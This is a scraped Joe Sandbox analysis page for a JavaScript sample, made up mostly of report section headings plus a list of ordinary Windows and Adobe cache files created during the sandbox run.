Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3462260851125011899.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef80de8c-65ad-4351-bce3-5feca2363032.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6968

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
3462260851125011899.js